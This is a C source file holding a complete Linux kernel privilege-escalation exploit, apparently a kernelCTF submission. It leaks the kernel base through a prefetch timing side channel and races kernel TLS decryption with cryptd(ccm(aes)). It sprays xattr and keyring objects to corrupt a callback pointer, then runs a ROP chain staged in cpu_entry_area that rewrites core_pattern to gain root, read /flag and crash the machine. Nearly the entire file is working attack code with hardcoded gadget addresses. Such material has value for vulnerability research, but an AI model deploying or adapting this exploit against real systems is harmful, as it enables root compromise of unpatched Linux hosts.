#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/tcp.h>
#include <linux/tls.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <linux/if_alg.h>
#include <signal.h>
#include <sys/wait.h>
#include <time.h>
#include <sys/xattr.h>
#include <sys/epoll.h>
#include <sys/timerfd.h>
#include <time.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <keyutils.h>

#define AES_KEY_SIZE 32
#define AES_BLOCK_SIZE 16

// Prefetch side channel
#define KERNEL_START 0xffffffff80000000
#define KERNEL_END   0xffffffffc0000000
#define KERNEL_STEP  0x200000

#define CEA_START 0xfffffe0000001000
#define CEA_END   0xffffff0000000000
#define CEA_STEP  0x1000

//#define PREFETCH 1

// Remote kernelCTF instance
#define KERNEL_BASE 0xffffffff81000000
#define KASLR_THRESHOLD 97
#define CEA_THRESHOLD   97

#define POTENTIAL_END (8ULL << 30)
#define CEA_OFFSET(offset) (offset + 0x1f58)

#define EVIL_CORE_PATTERN "|/proc/%P/exe"
#define EVIL_CORE_PATTERN_LEN (13 + 1)

#define CRYPTD_ALGO_NAME "cryptd(ccm(aes))"
#define CRYPTD_ALGO_TYPE "aead"

// Gadgets

/*
    Super gadget: 0xffffffff81850245
                                ^^^^--- This is the key size

    Address obtained overwriting the lower two bytes of
    req->complete (cryptd_aead_decrypt, 0xffffffff8185d940)
    with the user_key_payload datalen field set to 0x0245

    mov    rax,QWORD PTR [rdi+0x50] // rax = key[7] = cea
    mov    rsi,QWORD PTR [rdi+0x40] // rsi = key[5] = cea
    lea    rdx,[rdi+0x50]           // here rdi is user key + 0x50
    mov    rax,QWORD PTR [rax+0x20] // rax = cea
    test   DWORD PTR [rax+0x2c],esi
    jne    0xffffffff81850266       // not taken
    mov    rax,QWORD PTR [rax-0x50] // rax = pivot (PUSH_RDI_JMP_RBP_PTR_0X48)
    mov    rdi,rdx                  // rdi = key address + 0x50
    jmp    rax
*/

// push rdi ; jmp qword ptr [rbp + 0x48]
#define PUSH_RDI_JMP_RBP_PTR_0X48 0xffffffff81260d16
// pop rsp ; add rsp, 0x20 ; pop rbx ; jmp 0xffffffff826054f0
#define POP_RSP_ADD_RSP_0X20_POP_RBX_RET 0xffffffff8127fb99
// pop rdi ; pop rsi ; pop rdx ; pop rcx ; jmp 0xffffffff826054f0 (ret)
#define POP_RDI_RSI_RDX_RCX_RET 0xffffffff810e05c9
// rep movsq qword ptr [rdi], qword ptr [rsi] ; jmp 0xffffffff826054f0 (ret)
#define REP_MOVSQ_PTR_RDI_PTR_RSI_RET 0xffffffff810fea85

#define CORE_PATTERN 0xffffffff83bbb340
#define MSLEEP 0xffffffff81242730

uint64_t kbase = 0;
uint64_t ceabase = 0;

struct list_head {
    struct list_head *next, *prev;
};

struct simple_xattr {
    struct list_head list;
    char *name;
    size_t size;
    char value[];
};

struct rcu_head {
	void *next, *func;
};

struct user_key_payload {
	struct rcu_head rcu;
	unsigned short datalen;
	char *data[];
};

struct tls_conn {
    int tx;
    int rx;
};

int assign_to_core(int core_id) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(core_id, &mask);
    if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) {
        perror("[x] sched_setaffinity()");
        return -1;
    }
    return 0;
}

int write_file(char *path, char *data, size_t size) {
    int fd = open(path, O_WRONLY | O_CREAT, 0777);
    if (fd < 0) {
        perror("[x] write_file()");
        return -1;
    }
    if (write(fd, data, size) < 0) {
        perror("[x] write_file()");
        close(fd);
        return -1;
    }
    close(fd);
    return 0;
}

uint64_t prefetch_sidechannel(uint64_t addr) {
    uint64_t a, b, c, d;
    asm volatile (".intel_syntax noprefix;"
        "mfence;"
        "rdtscp;"
        "mov %0, rax;"
        "mov %1, rdx;"
        "xor rax, rax;"
        "lfence;"
        "prefetchnta qword ptr [%4];"
        "prefetcht2 qword ptr [%4];"
        "xor rax, rax;"
        "lfence;"
        "rdtscp;"
        "mov %2, rax;"
        "mov %3, rdx;"
        "mfence;"
        ".att_syntax;"
        : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
        : "r" (addr)
        : "rax", "rbx", "rcx", "rdx");
    a = (b << 32) | a;
    c = (d << 32) | c;
    return c - a;
}

uint64_t prefetch_leak(uint64_t scan_start, uint64_t scan_end, uint64_t step, uint64_t threshold)  {
    uint64_t size = (scan_end - scan_start) / step;
    uint64_t *data = calloc(size, sizeof(uint64_t));
    uint64_t min = ~0, addr = ~0, potential_end = 0;

    do {
        bool set = false;

        for (uint64_t idx = 0; idx < size; idx++) {
            uint64_t test_addr = scan_start + idx * step;
            if (potential_end && test_addr > potential_end)
                break;
            uint64_t time = prefetch_sidechannel(test_addr);
            printf("%llu\n", time);
            if (time < threshold) {
                data[idx]++;
                if (!potential_end)
                    potential_end = test_addr + POTENTIAL_END;
            }
        }

        for (int i = 0; i < size; i++) {
            if (!set && data[i] >= 1) {
                addr = scan_start + i * step;
                set = true;
            }
        }
    } while (addr == ~0);

    free(data);
    return addr;
}

int alloc_simple_xattr(char *path, int id, char *data, size_t size, bool edit) {
    char name[0x100] = { 0 };
    int ret;

    if (size <= sizeof(struct simple_xattr))
        return -1;

    size -= sizeof(struct simple_xattr);
    snprintf(name, sizeof(name), "security.%04d", id);

    ret = setxattr(path, name, data, size, !edit ? XATTR_CREATE : XATTR_REPLACE);
    if (ret < 0) {
        perror("[X] alloc_simple_xattr()");
        return -1;
    }

    return ret;
}

int remove_simple_xattr(char *path, int id) {
    char name[0x100] = { 0 };

    snprintf(name, sizeof(name), "security.%04d", id);
    if (removexattr(path, name) < 0) {
        perror("[X] remove_simple_xattr()");
        return -1;
    }

    return 0;
}

void sig_handler(int s) {
    char core_pattern[0x100] = { 0 };

    assign_to_core(1);

    int fd = open("/proc/sys/kernel/core_pattern", O_RDONLY);
    read(fd, core_pattern, sizeof(core_pattern));
    close(fd);

    if (strstr(core_pattern, "%P") != NULL) {
        puts("r0o0ot");
        *(uint64_t *)(2 + 2) = 5; // Crash the program
    }
}

void cea_store_payload(void) {
    char ctx[0x100] = { 0 };
    struct sigaction sa = { .sa_handler = sig_handler };

    uint64_t *cea_payload = (uint64_t *)ctx;

    // Fill CEA with pointers to CEA
    // Useful to resolve multiple levels of indirection
    // when the super gadget is executed
    for (int i = 0; i < sizeof(ctx)/sizeof(uint64_t); i++)
        cea_payload[i] = CEA_OFFSET(ceabase);

    // We store the following stack pivot gadget in cpu_entry_area
    // RDI at this point contains a pointer to the user key
    cea_payload[0] = kbase + PUSH_RDI_JMP_RBP_PTR_0X48; // RBP points to the user key [XXX]
    cea_payload[4] = CEA_OFFSET(ceabase) + 0x50; // [CEA + 0x50] contains a pointer to CEA

    strcpy(ctx + 0x60, EVIL_CORE_PATTERN);

    sigaction(SIGILL, &sa, NULL);

    __asm__ __volatile__ (
        ".intel_syntax noprefix;"
        "mov rsp, %0;"
        "mov r15, qword ptr [rsp];"
        "mov r14, qword ptr [rsp + 0x08];"
        "mov r13, qword ptr [rsp + 0x10];"
        "mov r12, qword ptr [rsp + 0x18];"
        "mov rbp, qword ptr [rsp + 0x20];"
        "mov rbx, qword ptr [rsp + 0x28];"
        "mov r11, qword ptr [rsp + 0x30];"
        "mov r10, qword ptr [rsp + 0x38];"
        "mov r9,  qword ptr [rsp + 0x40];"
        "mov r8,  qword ptr [rsp + 0x48];"
        "mov rax, qword ptr [rsp + 0x50];"
        "mov rcx, qword ptr [rsp + 0x58];"
        "mov rdx, qword ptr [rsp + 0x60];"
        "mov rsi, qword ptr [rsp + 0x68];"
        "mov rdi, qword ptr [rsp + 0x70];"
        "ud2;"
        ".att_syntax;"
        :
        : "r" (&ctx)
    );

    // Unreachable
}

void tls_enable(int sk, int type) {
    struct tls12_crypto_info_aes_ccm_128 tls_ci = {
        .info.version = TLS_1_3_VERSION,
        .info.cipher_type = TLS_CIPHER_AES_CCM_128,
    };
    setsockopt(sk, IPPROTO_TCP, TCP_ULP, "tls", sizeof("tls"));
    setsockopt(sk, SOL_TLS, type, &tls_ci, sizeof(tls_ci));
}

struct tls_conn *tls_create_conn(int port) {
    int s0 = socket(AF_INET, SOCK_STREAM, 0);
    int s1 = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in a = {
        .sin_family = AF_INET,
        .sin_port = htons(port),
        .sin_addr = htonl(INADDR_LOOPBACK),
    };

    bind(s0, (struct sockaddr*)&a, sizeof(a));
    listen(s0, 1);
    connect(s1, (struct sockaddr *)&a, sizeof(a));
    int s2 = accept(s0, NULL, 0);
    close(s0);

    tls_enable(s1, TLS_TX);
    tls_enable(s2, TLS_RX);

    struct tls_conn *t = calloc(1, sizeof(struct tls_conn));

    t->tx = s1;
    t->rx = s2;

    return t;
}

void tls_destroy_conn(struct tls_conn *t) {
    close(t->tx);
    close(t->rx);
    free(t);
}

int tls_send(struct tls_conn *t, char *data, size_t size) {
    return sendto(t->tx, data, size, 0, NULL, 0);
}

int tls_recv(struct tls_conn *t, char *data, size_t size) {
    return recvfrom(t->rx, data, size, 0, NULL, NULL);
}

int crypto_register_algo(char *type, char *name) {
    struct sockaddr_alg sa = {};
    int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (s < 0) {
        perror("socket(AF_ALG)");
        return -1;
    }
    sa.salg_family = AF_ALG;
    strcpy(sa.salg_type, type);
    strcpy(sa.salg_name, name);
    bind(s, (struct sockaddr *)&sa, sizeof(sa));
    close(s);
    return 0;
}

int main(int argc, char *argv[]) {
    char buff[0x1000] = { 0 };

    if (!getuid()) {
        assign_to_core(1);

        pid_t pid;
        char flag[0x100] = { 0 };
        sscanf(argv[0], "/proc/%u/exe", &pid);

        int pfd = syscall(SYS_pidfd_open, pid, 0);
        int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
        int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
        int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);

        dup2(stdinfd, 0);
        dup2(stdoutfd, 1);
        dup2(stderrfd, 2);

        int fd = open("/flag", O_RDONLY);
        read(fd, flag, sizeof(flag));
        close(fd);

        printf("\n\n%s\n\n", flag);

        sleep(1);
        write_file("/proc/sysrq-trigger", "c\n", 2);
        return 0;
    }

    // step(0): Initialization
    assign_to_core(0);

    #ifdef PREFETCH
        puts("prefetching kbase...");
        kbase = prefetch_leak(KERNEL_START, KERNEL_END, KERNEL_STEP, KASLR_THRESHOLD) - KERNEL_BASE;
        printf("kbase: 0X%llx\n", kbase + KERNEL_BASE);
        ceabase = CEA_START;
    #else
        kbase = 0;
        ceabase = CEA_START;
    #endif

    // Create two files, used to allocate simple_xattr objects
    write_file("/tmp/xxx", "A", 1);
    write_file("/tmp/yyy", "A", 1);

    // Register a custom crypto algorithm
    crypto_register_algo(CRYPTD_ALGO_TYPE, CRYPTD_ALGO_NAME); // CCM, not GCM :')

    struct tls_conn *t = tls_create_conn(20000);

    // step(1): Fork, prepare the ROP chain and block on TLS recv
    if (!fork()) {
        char desc[0x100] = { 0 };
        char payload[0x400] = { 0 };

        uint64_t *rop = (uint64_t *)payload;

        rop[7] = CEA_OFFSET(ceabase); // RAX, used by the first instruction of the super gadget
        rop[5] = CEA_OFFSET(ceabase); // RSI, used by the second instruction of the super gadget

        // We land here with a pointer to the user key pushed on the stack [XXX]
        rop[6] = kbase + POP_RSP_ADD_RSP_0X20_POP_RBX_RET; // pop rsp ; add rsp, 0x20 ; pop rbx ; jmp 0xffffffff826054f0
        //  |
        //  v
        rop[12] = kbase + POP_RDI_RSI_RDX_RCX_RET;
        rop[13] = kbase + CORE_PATTERN; // RDI = core_pattern address
        rop[14] = CEA_OFFSET(ceabase) + 0x60; // RSI = Evil core_pattern string address
        rop[15] = 0; // RDX, unused
        rop[16] = EVIL_CORE_PATTERN_LEN; // RCX = Evil core_pattern string length
        rop[17] = kbase + REP_MOVSQ_PTR_RDI_PTR_RSI_RET; // Overwrite core_pattern
        rop[18] = kbase + MSLEEP; // Take a nap

        // This blocks waiting for data
        tls_recv(t, NULL, 0x200);

        // step(3): Exploit the race condition by reclaiming the crypto request object with a user_key_payload

        // Free one simple_xattr object in the slab:
        // before allocating the user key, add_key() will also allocate/automatically free an object in kmalloc-1k
        // and we don't want to touch the vulnerable crypto request object; we need to preserve the linked list!
        remove_simple_xattr("/tmp/xxx", 0x1000 - 1);

        // Corrupt the lower two bytes of req->complete() (cryptd_aead_decrypt)
        // with the key size (0x0245). 0xffffffff8185d940 becomes 0xffffffff81850245
        for (int i = 0; i < 16; i++) {
            sprintf(desc, "key_%d", i);
            add_key("user", desc, payload, 0x245, KEY_SPEC_PROCESS_KEYRING);
        }

        puts("Ok");
        cea_store_payload();

        // Unreachable
    }

    // step(2): Trigger the vulnerability by sending a TLS packet

    // Saturate kmalloc-1k slabs
    for (int i = 0; i < 0x1000; i++)
        alloc_simple_xattr("/tmp/xxx", i, buff, 512 + 8, false);

    // Send TLS data
    tls_send(t, buff, 0x100);

    sleep(10);
}
